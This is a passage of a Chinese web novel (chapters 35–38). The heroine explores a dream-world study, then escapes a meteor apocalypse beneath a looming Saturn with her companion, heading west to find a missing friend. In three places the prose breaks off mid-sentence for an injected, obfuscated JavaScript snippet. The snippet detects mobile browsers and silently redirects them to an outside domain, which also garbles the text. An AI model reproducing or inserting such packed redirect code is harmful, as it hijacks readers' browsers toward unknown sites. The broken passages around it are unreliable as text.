眼花缭乱,她只好将视线转移到电脑屏幕上贴满的便签条。 夏烛推了推鼻梁上的眼镜,她的头又开始疼起来,眼皮狂跳。 不仅是便签条,随手翻开的厚厚笔记里,密密麻麻写满的,都是她的字迹。 她将手边的笔记翻到第一页,书扉上一本正经地写着主人的名字。 “夏烛”。 35.自由之地(二) 房间内所有的角落都有她留下的笔迹,这不是魉的房间,而是夏烛的。 她坐在电脑面前,怀疑梦境是否能做到这种程度,这里的一切就像专门为她独家打造的一样,无论是字迹还是行文的习惯,完全就是夏烛本人。 没有别的办法,那就当是她的好了。 笔记中写的东西云山雾罩,有中英文掺杂的数据记录和含糊不清有宗教含义的诗句,笔记越往后翻字迹越是潦草,字里行间似乎透露出这个“夏烛”的精神状况越来越差。 电脑左上角贴有一张黄色的便签条,上面是一串坐标。 「31°4'' N, 81°3'' E」 如果这里和现实世界的地图能够对上的话,那坐标所在的位置大概在西部地区。 西方? 夏烛想起巨大天女的梦。 她将便签撕下来,贴进了笔记里。 电脑不知道还能不能使用,她尝试开机,发现虽然能打开,但是要输入密码。 不过既然这是她的房间,密码说不定跟她本人有关。 于是夏烛输进了自己的生日,果不其然,成功开机。也许梦境是跟随入梦者而变化的,例如这间书房,这台电脑的密码,隐隐都有她的影子。 就好像这里是平行时空的夏烛的家。 无论身份有何变化,她们的本质都是一样的。 为了证明自己的猜想,她再一次锁屏电脑,然后输入了另一串日期。 电脑再次成功开机。 这是爷爷去世的日子。 这下她能确定,或许在风枫风眠的视角,也会有和他们本身十分相似的场景出现。也就是说这个房间因她的心意而变,密码根本不是唯一的,不管夏烛输入什么,都意味着她认为密码会是什么,那么一切都会跟随她的意志而变化。 只是到底怎么才能联系上彼此,她现在只希望这个世界只是看起来大,实际上也许都走不出这栋高楼。 电脑屏幕上干干净净,只有一个命名为“倒数日”的文件夹,点开来看,文件中只有一张图片。 是一张专业性极强的数据图,单从横纵轴,和中间那条有明显起伏的曲线并不能看出具体监测的是什么。 x轴的单位是纳米从0.3至2.5,Y轴写了吸收率(%)对数坐标,图中曲线有一个被标红的小峰值,一旁批注了“氦-3”。 虽然无法得知具体是什么,但夏烛猜测也许是某地的气象监测光谱图。 并且还是有异常的那种。 存在即合理,一张有异常的气象监测出现在电脑唯一的文件夹中一定在暗示什么。不管到底有没有用,夏烛还是用笔在那本笔记上大致临摹了一下这张图,写上一些关键的数据值。 电脑实在太重,不然她就一起给搬走了。 又在书房里转了一圈,右侧的墙上钉了很多云层观测和不同质地土壤的图片,除此之外还有一张诺大的写满藏语的唐卡风地图。 像是从旅游景区带回来的纪念品,左上角用汉字写有“神山圣湖欢迎您”的标语。 这个“夏烛”看来是一个地质气候学方面的爱好者,或者专业人员,不仅如此她的书房中还有很多各式各样的岩石标本。 她面对着墙壁,盯着这张质地上好绘图精美并不劣质的地图,思索了片刻,决定将它揭下来,和那本满满当当的笔记一起塞进她的双肩包中。 夏烛将看上去有用又便携的东西通通搜刮,犹豫了一下为书房拉开了窗帘,百层高楼的耀眼阳光重新回归这间充满古老气息的书房,没有吃完的饼干碟依旧摆放在垂着流苏的宫廷风小方凳上,似乎在等待不久后即将再次归家的主人。 又或者主人家其实根本没有离开,只是长期伏案工作腰酸背疼,转出房门随意溜达活动手脚去了。 夏烛站在门口最后望了一眼房间的全景,然后关上书房的门,背上双肩包离开了这间屋子。 她其实挺喜欢这个房子的,至少书房会成为她一天二十四小时,有二十小时都呆着的地方,等到以后,或许有这个能力,她也要照着同样的摆置为自己的安排一间书房。 不过现在最重要的是和风枫她们汇合。 塔楼,广场,城市巨幕,这个地方果然和夏烛的梦一模一样。她不确定这座过分繁华的都市是原本就存在于真实世界的,还是魉凭空创造,便签上的坐标到底有什么含义,这个地方又离坐标所在地有多远呢。 站在人潮中,夏烛有种流浪汉的错觉,不知道身在何处,也不知道该去哪里,亲人朋友都不在身边,可这座城市又这么的大。 并不如她想象的,地图只限定在了那栋高楼里。 她走了出去,就会立马失去方向,可是人群之中是不能停留的,夏烛被动地走到广场中。这里有一拨小型乐队正在演出,围观的群众很多,道路开始出现堵塞。 带着高礼帽的小提琴手在结束最后一个音节后做了一个幽默的谢幕动作,人群嬉笑起来,有人离开,有人加入,等待下一首曲目。 低着头看手机的年轻人不小心撞到了前方突然停住的男人,男人回头埋怨地盯了一眼,年轻人打着哈哈道歉,干脆走到一旁的绿化带,等着将这段消息发出再继续行走。阳光无比的灿烂,城市绿植违和地向上生长,虞美人在低处摇摆随风,小提琴的优雅弦乐在人群缝隙中流动,广场的地砖是中世纪的花色,古老的口香糖雨点一样散布,铁艺的路灯脚下积攒了不知名的黄褐色液体,以及一些烟屁股,不过这些都不影响它的繁华。 弦乐,流行乐,笑声,哭声,吵闹声,这里就像一个大型的演出,群演们各司其职,将都市的氛围烘出,繁华似锦从城市的边缘铺向天边。 夏烛有些无奈地停在原地,放眼望去全是攒动的人头,七条大街各自通向不知名的地方,她甚至无法做出走上其中一条的抉择。 旁边有家店铺的音响正在播放大促销的音乐,店员穿着可爱的玩偶服装在门口招揽顾客,有小孩被吸引上前,揪着她毛绒绒的尾巴不松手,一旁的家长赶忙阻止,拉扯间小孩一屁股坐在地上就开始哭嚎,手里的小罐掉落在地,里面的水果硬糖全洒了出来,一颗晶莹的粉色糖果滚到夏烛脚边。 她低下头看了一眼脚边的糖果,下意识追随视线往吵闹处看去。 欢快的音乐和小孩烦人的哭声同步进行,在高分贝的强力压制下,音乐断断续续的地出现扭曲变形,音响的内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858050|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部结构似乎被小孩的声波给击碎,有些不堪重负。 绿化带旁的年轻男孩突然皱起眉头,他怀疑那边的音响故障影响了他手机的信号,一条发给女朋友的关键消息一直在对话框中打转,手机顶部的信号栏只有一个大大的叉,他举起手机原地转了转,显然这个动作已经不管用了。 人群之中陆续发出疑问的声音,问号带着一丝诡异的氛围在空中打了个卷,店门口的音乐终于坚持不住,发出无比刺耳的尖啸。 躁动,不满。 夏烛也捂上了耳朵。 那声音穿透力太强,她的耳膜都有些受损,脑子里痒痒的,像是某部分器官和音响产生了共振。只能低着头晕乎乎地盯着地上那些早就长在地砖里的口香糖,那块地砖勉强能看出一些昔日的辉煌,如果被水冲洗一下,如果阳光灿烂一些,还是能分辨出它艳丽的玫瑰红和精妙的花枝雕刻。 如果阳光灿烂一些的话。 可是她明明记得刚才还是晴空万里,艳阳高照的,为什么现在的地面看上去似乎躲在阴影里,好像有某种东西遮住了头顶的太阳。 乌云?是快下雨了吗?天气真是说变就变。 她放下捂住耳朵的双手。 “那是什么!?” 有人在人群中惊呼,夏烛回过神来,发现整个世界都比刚才暗淡了很多,像是小时候一个暴雨将至的夏日午后,时间似乎被瞬间从正午调到了黄昏。 所有的人都停在了原地,他们齐齐仰头望着天,夏烛也顺着众人的视线向身后看去。 浓稠的病态的黄褐色气体流动成漩涡的模样,带着一圈破冰船驶过后的碎冰状星骸,那近在咫尺的瑰丽光环似乎就横亘在瞳孔之上,古老而神圣的纹理是宇宙爆发时的星火,又像一只来自深渊的巨眼从时空的破洞中偷偷窥视了人类一眼。 那是一颗巨大的土星。 就在头顶上方,在都市的钢铁森林之间。带着沉稳的宇宙力量和背景中一整个天幕显化的群星闪烁,无声无息悄然靠近了这颗蓝色的星球。 巨大。 夏烛学了那么多年,此时此刻却找不出任何一个形容词,来描述眼前的一切。 她只能感受到人类无法承受的威严之力正凌驾于头顶之上,如此宏大,对比自身又是如此的渺小。 可是她的内心却升起一种无法言说的兴奋。 不止是她,身边的人,这个星球上的所有人类,他们的脸上都出现了一种微妙的表情,既是恐惧,也是一种极致的愉悦。 自然之力总能让文明诧异于前,这一切已然超出这个种群千百年来长久不变的日常经验,短暂的恐惧之后人类心灵深处的对抗精神就会被唤醒。 这是一种崇高感。 就像人往往喜爱突如其来狂风骤雨的极端天气,通常在一个无聊的午后,头顶的风扇还在吱吱呀呀地转动,下一秒世界却发生翻天覆地的变化,窗帘在狂风中飞舞,雨丝乱打在皮肤,躁动不安中听不见除风雨以外的任何声音。就像撕开了某种铁的秩序,将你从不变的日常中拉脱出来,甚至产生了一种想要征服和对抗的欲望。 此时此刻,我们都拥有同一个名字,作为人类而存在,作为人类而对立。 36.自由之地(三) “月亮….?那是月亮吗?” 沉默中有人率先开口,夏烛顺着她所指的方向,看见了天边的三轮月亮。 她还没有见过如此清晰的月亮,就算乡下的夜空再怎么晴朗,距离带来的朦胧感总是让明月保持着神秘。 这三轮月亮清晰度却十分高,就好像它们只是近在咫尺的三颗琉璃珠子,而不是亿万光年外的星体,给人一种只要伸手就能触碰的错觉。 夜幕低垂,所有的光芒来自群星,像是黑天鹅绒中盛放的珠宝钻石,天地一线处亮起奇异的桔红色光芒,就像一场熊熊烈火在远方燃烧,月亮下方划过一颗颗银色的流星,晶莹的雨幕在黑夜中织就。 世界失去了原本平和的秩序,一切都显得瑰丽绚烂而又诡异。 巨大的天体静谧地靠近蓝星,却没有任何动作,似乎只是静静地注视,又或者是整个地球在瞬息之间向宇宙深处移动,快到引力和大气层还来不及反应,快到人类还没有意识到将会面临什么。 有人举起手机,想要拍摄眼前的一幕,有人牵紧身边人的手,沉醉在这场壮丽的宇宙变迁之中。当所有人都以为这场突如其来的变故将继续美丽且宁静下去,一颗流星突然改变了方向,穿过大气层周身燃起火焰以极快的速度朝人群冲来,带着气浪砸向拥有哥特式尖顶的塔楼,伴随着巨大的响声,这座经年为城市报时的建筑物在烟雾和烈火中顷刻化作废墟。 人群尖叫,逃窜,汽车不论价格地碰撞在一起,原本最安全的城市中心,密集的建筑群此刻却变成了摇摇欲坠的危机。被按下暂停键的世界就此恢复,安宁不再。 一颗,两颗,数不清的火流星从天幕坠落,气势汹汹扫平一切差异像是一场对人类的大清扫。无论是还在滚动播放的玻璃巨幕还是引以为傲的摩天大楼,又或者花坛中生机勃勃的虞美人,没有任何东西能在这场灭绝之中被眷顾。 夏烛被掉落在近前的一颗火流星带来的热浪给掀翻在地,她从震撼中清醒,迅速从地上爬了起来,空气中充斥着一种刺鼻的硫磺味,烟尘毫无遮挡地钻进鼻腔,她不再回头,跟随人群朝某个方向奔跑。 忽然之间,穿过慌乱逃窜的人群,她瞥到一抹熟悉的身影。 表情有些懵的少年,穿着粉色围裙正从一家快餐店大门走出,他似乎没有足够多的时间接受眼前的一切,手上甚至还托着一叠外送披萨。 像是受到了某种感应,风眠朝着夏烛的位置看过来,两人隔着混乱的大街遥遥对视了一眼。 夏烛拨开人群,横向冲过马路,注意火流星的同时还得躲避失灵的车辆。 她看见风眠朝她伸出手,一把攥住了她的手腕,两人冲进快餐店。 “这到底怎么回事?”风眠不知道是不是刚醒来,他看上去似乎在埋怨这次梦境来势汹汹未免有些太倒霉,但脚下的动作没有停住,左手稳稳托着披萨盒右手紧紧牵着夏烛。 “我也不太确定。” 两人穿过散乱着桌椅板凳的餐厅大堂,径直通过后厨,从餐厅的后门冲了出去。 “拿着!”风眠将手里的一叠披萨扔给了夏烛,“战备粮食!”他还细心解释道。 夏烛没有犹豫反手塞进了双肩包中。 “这把开局说差但也还好。”他从围裙兜中掏出一把车钥匙,“不管怎么说我们有交通工具了。” 就在夏烛以为他们将拥有四面有所遮挡的逃生道具的时候,风眠biu~biu按响了垃圾桶旁边的一辆小电动。 两人无声对视了一秒。 “也不赖。” 他跨上电动车,发动就位,夏烛坐到了他身后,双手紧紧抓住风眠的衣摆。 无数火流星在身后坠落,天幕低垂,烟尘四起。 风眠回过头问夏烛,“所以我们该往哪里逃?”这个世界看起来很大。 夏烛只思考了一秒,眼神坚定地看向前路。 “西方。” 风眠将动力拉到最大,全速飞驰在这条小巷之中。 这里是城市的后台,除了垃圾堆和老鼠以外,平时不会有人来,所以他们一路畅通,只是身侧的房屋建筑时不时的被火流星砸中,烟雾瞬间遮住视线。 好在风眠的车技还算不错,他在几个摆尾躲避坠落物后冲出了小巷,与人流汇合。 所有逃难的人堆积在一起,已经根本不在意是否有踩踏到什么摔倒在地的人,人们只是闷着头往前方奔跑,似乎遥远的尽头一定会有安全地。 他们被一辆从天而降的汽车阻挡了去路,风眠紧紧捏住刹车才避免直直撞上去。 夏烛看着汽车掉落的地方,抓住风眠的肩头,指向右边的暗巷。 “上高架。” 风眠没有犹豫,调转车头从暗巷抄近路驶向高架桥。 虽然这里暴露面更多,但他们的小电动能在汽车的夹缝中迅速逃离城市去到郊区。 高架桥是这座正在崩坏的都市上方升起的舞台,视野一旦开阔,灾难的可怕之处就尽收眼底。 城市几乎被大半摧毁,身后飞驰而过的世界正在陷落。 两人根本不敢留出喘息的空档,火流星像是暴雨一样在坠落在四周,车速已经到达极限,风和烟兜头而来,氧气根本无法进入鼻腔。他们只能屏住呼吸。 正前方的上空,一颗巨大的流星正带着雷霆之势向他们砸来,夏烛甚至已经感受到那股迫人的热压,可是现在调头已经来不及了,他们只好拼着命赌上一把,开过去了,就是希望。 “抓紧了!”风眠的声音被风带进夏烛的耳朵,她将头抵在他的后背,双手环抱紧紧箍住他的腰身。 情况好像不能再差了,可和流星一起到来的是一辆逆向行驶的汽车,从烟尘中冲出,他们已经无处可躲。 夏烛甚至闭上了眼睛。 对冲而来的汽车突然失速,轮胎爆裂,在两车即将撞上的前一秒整个车身被抛向空中,从他们头顶乌云般飞过,随即那颗巨大的流星也同样划过头顶,精准砸向几米后摔到地上的汽车。 风眠甚至惊呼出声,这把车是真真正正地开爽了。 在呼啸的风声中,他甚至还有闲心侧过头来跟夏烛说着不着调的闲话。 “这说明什么?说明开车千万不能逆行!” 夏烛拨开糊在脸上的头发。 “可你小电动还上高速。” 风眠大笑,再次拧紧车头。 他们带着劫后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865693|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余生的亢奋驶向未知的城市边缘。 当两人的座驾快要耗尽最后的电量,车也下了高架桥,驶进了长满大片草地的郊区。 火流星坠落已经停止,庞大的星群安静地悬挂在天边散发着柔和美丽的光辉,冷漠地注视着这片狼狈不堪硝烟四起的土地。 从灾难中脱身,耳朵无法适应骤然的死寂,大脑似乎认为身体的主人已经驾鹤西去,所以得自行产生点噪音,来唤醒生机。 两人都有不同程度的耳鸣,为了省电,电动车用最低档的速度行驶在乡间的小道上,他们之间已经没有对话,默契地保持着沉默。 夜色中,身旁的草地里又重新响起了虫鸣,如果不是周围陆续有被损坏的房屋出现,提醒刚刚的灾难,开着车在乡下的小路上行驶还是很惬意的。 这种强烈的对比让人有种不真实感。 既置身事内,又超然世外,反而产生出奇异的愉悦。 风眠将车停在一座损坏程度较轻的住房前,他指了指院子中停放的另一辆电车。 “稍等,我去偷个电瓶。” 他故作轻松地下了车,夏烛看着他的背影,知道风眠只是不想情绪外放,影响到自己。 从灾难开始到现在,已经过去了几小时,他们都没有风枫的消息。 夏烛在车上坐了一会儿,土星就在头顶,散发的光芒使这里不需要电灯就能清晰视物,仿佛回到了小时候,月光还是那么明亮,不会被云层和尾气遮住。 她也跳下车,跟在风眠身后,围着这栋房子看了看。 这里的建筑更像在国外,是带前后两个院子的小洋房,夏烛进了房子,发现只有厨房坍塌,别的房间都还算完好。 主人家也不见踪影,估计是逃命去了。 客厅的地毯上还堆着搭到一半的彩色积木城堡,墙壁一角有蜡笔涂鸦的痕迹,被贴心的保留了下来,看来这里曾经住过一个动手能力很强的小朋友,一个幸福的家庭。 即使知道这是魉创造的世界,但是家中处处透露出的温馨感也灼着夏烛的眼睛,比起冰冷的残酷的她似乎更畏惧温暖,转瞬即逝的温暖。 “我们可以在这里休整一下。”检查完房屋的情况后,夏烛来到院子里,风眠正将拆卸下来的电瓶装到他们的车上。 院子中笼上了一层白纱,连同背对着夏烛的风眠。 “好呀。”他盖上了车座,站了起来,朝夏烛堆起一个很是勉强的笑。 风眠在星星的光辉下显得更加薄弱,他的皮肤接近透明,很难想象刚刚在高架桥上飙车的人是他。 厨房已经完全损坏,无法从里面获取食物。 他们围坐在客厅的地毯上,彩色积木城堡旁边,取出了一盒外送披萨。 ”我的战备粮倒是真起作用了。”他还在试图活跃气氛,只是额发上沾了烟灰,样子看上去有些狼狈可怜。 “不知道小枫有没有战备粮。”他快速往嘴里塞进一块冷掉的披萨,声音因此变得含糊不清,香肠片凝固的油脂恶心地黏在上牙膛。 风眠看出夏烛可能想说点什么安慰一下他,于是他又补上一句。 “她一定会没事的。”说给夏烛听,也说给自己听。 37.自由之地(四) 夜里的温度比白天低了很多,况且厨房那边有损坏,夜风毫不留情地趁虚而入。 好在客厅里还有壁炉,好在壁炉一直处于可使用状态,主人一家贴心地在旁边为他们准备好了干木柴,和点火工具。 夏烛生好了火,把沙发挪到壁炉旁,借着温暖的火光刚好可以看看自己背包里的资料。 星体的冷色光辉透过薄纱的窗帘投射到客厅的地毯上,和壁炉的火光分庭抗礼。 风眠坐在另一张双人沙发上,闭目养神,两人有一搭没一搭的说着话。 “所以你的身份是某个古气候地质学家?”风眠陷进柔软的沙发中,经过白天的生死时速,他的声音听上去轻飘飘的,似乎火堆中的偶尔爆出的火花都能惊吓到他。 “看起来是这样。”夏烛捧着那本笔记,“书房里几乎全是气象类的观测数据,电脑里还有一个命名为倒数日的文件夹,我把觉得有用的资料都带了出来,紧接着就发生了灾难。” 这个“倒数日”则显得意有所指。 夏烛还把睁眼之前做过的天女梦告诉了风眠。 风眠听完后睁开了眼睛,一动不动地盯着壁炉中燃烧的火堆,那些疯狂舞动的火舌,让他想到漫天坠落的火流星。 “听起来你的角色似乎早就预见了灾难,并且还有某种精神象征曾经在梦里给你指引?”他将五指插进发缝中,往后梳着头发,试图清理发丝上残留的灰烬,“西方?真的是安全之地,庇护所吗?”他的表情若有所思,火源收缩成一个小点在瞳孔中燃烧。 “好吧,看来我只是一个普普通通的快餐店员工。”风眠耸了耸肩,无奈地看着夏烛。 她沉默了一瞬,低下头重新看着自己手里的笔记本。 “别这样,至少你提供了最重要的战备资源。” 风眠轻笑出声,身体向后靠,再次陷进沙发中。 手里的笔记实在过于杂乱,夏烛很努力地去分析其中的信息,但大多数似乎只是毫无逻辑的发泄。 她把笔记放回背包,重新拿出那张神山圣湖的地图,起身铺展在地毯上。 地图? “我们或许需要一张这个世界的地图。”她跪坐在地上小声地自言自语。 “好吧,这个简单的任务就交给我。”没想到风眠并没有睡着,他站了起来,开始搜索这个房间。 夏烛则是趴在地上,仔细地研究这张满是藏语的地图,是否有什么遗漏的细节。 如她之前的判断,这张地图实在过于精美,绘制的也十分细节,每一处山川河流都有艺术性的标注,纸张还富有肌理,所以容易隐藏一些关键的信息。 火光闪烁,夏烛一寸寸看过去,这样眼睛很容易疲劳,她直起上半身,揉了揉眼睛,又重新趴下去。 果然,地图的左下角,一个不起眼的位置上,被红墨水浅浅标记了一个圈。 这个位置旁边有一串细小的文字,大概就是藏语的地名,肉眼更是无法看清细节,需要放大镜的辅助。 “我在儿童房找到一张简易的国家地图,只有大致轮廓,没有过多的细节。”风眠拿着他从儿童房墙上撕下来的地图,递到夏烛跟前,“你看看,有用吗?” 她接过儿童地图,铺在一边。 从轮廓上看,这里的构造和现实是一样的,那么天女所指的西方也就是现实世界中的西部地区。 那里确实是逃难的圣地。 夏烛把两张地图放在一起对比,果然可以看出,手里的唐卡风地图正是西部某区域的放大版,所以地图上标注的是藏语也能解释得通了。只是她对地理没有精通到那种地步,无法精确地说出目的地的名字。 好在他们现在确定了,西方就是此行的目的地,虽然不能肯定达到指示地点后将要面临的是危机还是绝对安全。 当然了,魉是否就在西方,也未可知,这才是他们最终目的,这个世界和现实没什么区别,要从千万人中盲目地找出一人还是比较困难的,不如改变策略,先去完成魉布置的任务。 她将地图都收了起来,放进包里。 这一天确实很累了,两人都不再说话,蜷缩进各自的沙发。 三个月亮依旧在窗外冷漠地悬挂。 “你说太阳还会升起吗?”风眠的声音闷闷的,像是从很远的地方传来。 “明天就会知道了。” 夏烛的眼皮太过沉重,大脑开始隔绝一切的动静,只有火焰的烧裂木柴的声音在耳边缓缓流过。 睁开眼睛的时候,夏烛看见风眠正从另一个房间走出来,他看见夏烛醒了,脸上的表情像是要打个招呼,但不知道被窗外的什么东西吸引,神色一变,就朝门外跑去。 夏烛立马翻身跳下沙发,追着风眠来到门口。 太阳还是升起了,和巨大的土星三个月亮一起,光芒盛大将世界灼烧,群星暂隐于天幕中。院子中有一颗高大的梧桐树,风把落叶吹得满天都是,有一些飘飘扬扬从窗外飞过,伴随着阳光碎星一样闪烁。 风眠站在院子中,他的肩膀垂了下去,似乎在原地思考了几秒,然后重新往屋子这边走来。 “起风了。”他朝夏烛笑一笑,然后擦着她的肩膀侧身进入了房间。 五角尖尖的梧桐叶吹到了夏烛的脚边,她也期待能在上面看见金色的脉络。 两人简单吃了点冷披萨,搜刮了一下这栋房子里的有用东西,就再次出发。 没有了火流星,风眠的小电动以匀速前进,夏烛在后座看着地图为两人导航。他们打算一路往西,先去下一个人流聚集的城市,边赶路边找风枫和嬴犽。 所到之处满目疮痍,偶尔能看见一些同样逃难的人,夏烛他们不能确定西方是否就是安全的,所以没有自作主张的劝告他人。 穿过一大片金色的麦田和被摧毁的农场,两人一车再次进入了城市区域。 能从那些断壁残垣中看出昔日的辉煌,这座城市也在昨日的灾难中被摧毁大半,如今空无一人。太阳还是按照往日的规律,在道路的尽头缓缓降落,留下天边火一般燃烧的晚霞,衰败之城在夕阳的笼罩下仿佛又一次华灯初上。 夏烛和风眠停在一家大型超市面前,防盗的玻璃门已经碎了一地,他们扔掉了包里其余的披萨,兵分两路在超市中搜索用得上的食物和生活用品。 超市里也是一地狼藉,似乎早就经历过一次大清扫,夏烛在食品区域的货架上拿了些能存放很久的罐头和压缩饼干。 灾难造成这个城市的全面停电,等到太阳完全落下,建筑内部照不进星光的角落将会是一片黑暗。她不确定阴影之下是否就是绝对的安全,所以加快了动作赶去和风眠汇合。 她找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873416|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风眠,远远看见他在箱包区域也给自己挑了个背包,正要叫他,忽然看见风眠身后黑暗的角落中伸出一只握着匕首的手。 “风眠!背后!”她大声喊道,并且快速翻过倒塌的货架朝他奔去。 而风眠也在听到夏烛的呼喊后本能地回头用手边的包挡在身前。阴影后冲出的人像是失去了神智,发疯般用手里的匕首不停地刺向风眠,很快就刺破了布艺的背包,锋利地刀尖划破了他的手臂。 风眠吃痛,用尽全力朝那人的下身踹去,趁他防备之时双手一推将其推倒在地。这才借着微弱的光线,看清了那是个蓬头垢面神情凶狠的男人。 男人还要起身攻击风眠,却被一把短剑抵住了喉咙。他瞬间卸了力,不敢轻举妄动,因为那剑刃上的寒气几乎要透过肌肤穿进肉中。 夏烛用手臂死死钳住那人,小剑的尖端轻轻碰着他的颈脖跳动处,风眠松了口气,蹲到男人面前。 “为什么攻击我们?” 男人双眼迷离,胡子拉碴,身上的衣服散发出令人反胃的酸味,看上去似乎不太清醒,没有正面回答风眠的问题,只是嘴里一直念叨着“我的”“我的”。 好像夏烛两人才是那个冒犯者入侵了他的领地。 从他的穿着大概可以猜出,也许是一个常年徘徊在超市附近的流浪汉,灾难来临打破了人类社会的秩序,正常人放弃一切四处逃窜,他才有机会第一次光明正大地走进这里,这里的食物充沛,遮雨挡风又很温暖,从前被一道透明的玻璃门阻隔而无法企及,现在他成了这里面唯一存活的人类。 在风眠的示意下,夏烛松开了男人,而后者也不在展现出攻击性,反而一头扎进一旁的箱包中,紧紧揽着散落一地的物品,像是抱着什么失而复得的宝贝,反复说着“我的”“我的”。 两人不再理会他,风眠的手臂受伤了,正好他们也需要一些急救的物品,于是一起找到药品区,给他的伤口简单消毒包扎。 用过消炎药,再用纱布隔绝灰尘细菌,风眠自己缠绕好了纱布,只需要夏烛拿出小剑割断,再打上结。 小剑锋利,轻轻一碰,纱布就断成两截,她将小剑放在自己脚下,上手帮风眠的伤口系上了一个歪歪扭扭的蝴蝶结。 “我可以看看你的剑吗?”在夏烛用剑抵住流浪汉的喉咙时,他注意到剑柄处有一道亮光一闪而过。 夏烛点点头,将剑递给了风眠,她看见风眠对着那个彗星的标志皱起了眉头。 “剑有什么问题吗?” “倒是没什么问题,只是…”夏烛买下小剑的那天他没怎么在意,所以现在才发现,风眠把剑还给了夏烛,指尖点了点剑柄上那颗灵动绚烂的彗星,“只是,这个图腾有些奇怪…” “我曾经听老妈讲过,少皞一族的土地上曾经还有过一个部落。他们接纳一切残体和无族妖神,奉行有教无类,和风家的政治理念其实很是相同,只是在后来的战争中失败,整个部族因此不复存在,幸存的族人大多都归顺了其他的家族。” “这个部族消失后才有了少皞,所以两族拥有同样的姓氏,只是不同于少皞,他们的相力为金,擅找矿脉,制造兵器。” “这个消失部族的首领,就是兵主蚩尤,而彗星,正是蚩尤一族的图腾。” “阿烛,你这把剑,大概率就是蚩尤嬴家的产物。” 38.自由之地(五) “蚩尤…”夏烛呆呆地低着头看着自己的小剑,忽然像是想起什么,抬头注视着风眠,镜片后的眼睛闪着微光,“还有别的家族吗,像蚩尤一样消失在历史长河中的?”或许拥有恢复能力的,别的家族。 风眠愣了一下,他也没有往这方面想过,虽然答案就在心里,可还是努力地在记忆深处搜索一番,或许某个时刻,老妈有提到过类似的信息。 可惜,他轻轻摇了摇头,眼看着那双烛火一样的眼睛熄灭在阴影中。 夏烛一开始其实并不执着于寻找自己是谁,可越是和更多的人相处,越是产生了类似依赖的感情,她对于亲人的渴求就越明显。 也许也不是亲人,而是对自己,对一个完整自己的渴求。 她不需要有明确的来路或者归宿之地,但她需要了解自己,一个完整的灵魂才能作为坚实依靠。 她要的是成为自己的绝对依靠。 尽管如今也不算太差,但总觉得缺了点什么。 风眠还想说什么,一声巨大的呼啸像是从头顶掠过,紧接着超市的食品区被砸出一个大坑。 “流星又来了!快走!” 两人从地上迅速起身,越过重重障碍冲向大门,那里还停着他们的尊贵坐骑,逃生工具。在闷头狂奔之时,经过了那个狼狈的男人,他仍然躺在一堆箱包之中,匆匆一眼,脸上的表情已是到达此生最满足。 这些箱包空空荡荡,但却能装下他一颗无处可去的心。 新一轮的灾难又开始了,狂烈的火流星再一次对准早已没有生机的城市。两人顶着身后不断倒塌的房顶,成功跨上了那辆小电动。 “好吧,又得再来一次。”风眠说着发动了车子,不得不承认小电动起步非常之快,瞬间带着两人躲过了身后一颗从天而降的火焰审判。 疾风在耳边呼啸,火雨坠落如同一场杀戮的狂欢,两人一车在漫天的流星雨中再次追逐正在降落的太阳驶离这座死亡之城。 林立高楼摇摇欲坠,断壁残垣上升起灰烟,落日即将收回最后一丝金色光线,身边那些不断后退的破碎屏幕,广告牌,以及道旁的路边,却在几个闪烁之后重新亮了起来。 霓虹灯仿佛一条游龙,在急速奔驰的小电动身后紧追不舍,夏烛从狂风中抬起来,斜前方一座倒塌了一半的摩天大楼忽然亮起了正中间的巨幕。 巨幕之上,竟是一条滚动播放的简笔动画。 在夏烛不可思议的眼神下,屏幕上那个用潦草线条画成的红发女孩正挥动着双臂,她咧开笑容的嘴边浮出一串气泡,气泡中包裹着歪歪扭扭的文字。 “第一西城,五星塔楼。” 文字后还跟着两个更加潦草的小人,一个带着黑框眼镜张牙舞爪,一个皮肤白白挤眉弄眼。 还没等她看清,巨幕就在身侧掠过,可这只是其中之一,这座早已颓败的城市却在此刻重现灯火辉煌,高楼上,快餐店内,后巷里,每一块能够播放画面的屏幕中,都有一个红色头发的卡通小人狂摆着手臂。 火流星砸碎一个,还有下一个不断地在飞驰的电动车旁亮起,现在,满世界都是某人突破障碍亮起千万盏本该熄灭的灯给出的信号,第一西城,五星塔楼,那将是他们接下来的目的地。 就像是一个即将game over的游戏,主角的路已经走到尽头,可是不甘于等待死亡的操纵者输入了一串作弊的代码,破开既定程序的结局,希望他们能在绝境中杀出一条血路重新走向曙光,末日已经是旧篇章了,英雄最后一定能迎来新生。 “是她!是小枫!”风眠的声音听上去无比激动,身下应该早就到达极限的速度似乎又提升了,偷来的电瓶被烧得滋滋响,坠落的火流星算什么,全当主角奔向希望的气氛担当。 